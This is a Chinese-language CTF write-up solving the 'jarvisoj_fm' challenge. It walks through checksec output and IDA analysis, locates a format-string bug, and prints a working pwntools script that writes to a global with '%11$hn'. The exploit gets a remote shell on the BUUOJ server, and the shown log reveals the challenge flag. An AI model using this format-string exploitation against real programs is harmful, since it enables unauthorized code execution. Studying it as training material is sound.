jarvisoj_fm 1

例题:jarvisoj_fm 1

首先检查一下文件:

C:\Users\A\Downloads>checksec fm
[*] 'C:\\Users\\A\\Downloads\\fm'
    Arch:       i386-32-little
    RELRO:      Partial RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        No PIE (0x8048000)
    Stripped:   No
  • 32位程序,小端序
  • GOT只读
  • 有栈保护
  • 栈不可执行
  • 地址固定
  • 保留了字符表和调试信息

思路分析

简单运行一下程序:
image

用IDA打开,看一下main函数:
image
根据图中的部分,可以看出刚才运行程序打印的3,就是x的值,而当x == 4的时候,才可以调用system,因此需要修改x的值

双击x,发现其在.data段上
image

接着看到print(&buf),可以明确判断这是一个格式化字符串漏洞的题。
因此我们需要暴露一下printf的参数地址:
image
很明显参数地址是在第11个参数
接下来只需要用%hn改写即可。

攻击脚本

from pwn import *
#context.log_level = 'debug'
file = "./fm"

x = 0x0804A02C

local = 2
if local == 1:
    io = process(file)
else:
    io = remote("node5.buuoj.cn",25481)

pay =  p32(x) # 因为是小端序,低地址在低位,所以在x处修改即可。
pay += b'%11$hn' # hn修改的值是前面成功写入的字符个数,因此这里写入的值为4
io.send(pay)

io.interactive()

就可以获取到flag了:

点击查看代码
[+] Opening connection to node5.buuoj.cn on port 25481: Done
[*] Switching to interactive mode
$ ls
bin
boot
dev
etc
flag
flag.txt
home
lib
lib32
lib64
media
mnt
opt
proc
pwn
root
run
sbin
srv
sys
tmp
usr
var
$ cat flag
flag{649a33f6-90cc-49f6-8589-edc4e5033e65}
$ 
[*] Closed connection to node5.buuoj.cn port 25481
posted @ 2025-08-08 22:04  星冥鸢  阅读(45)  评论(0)    收藏  举报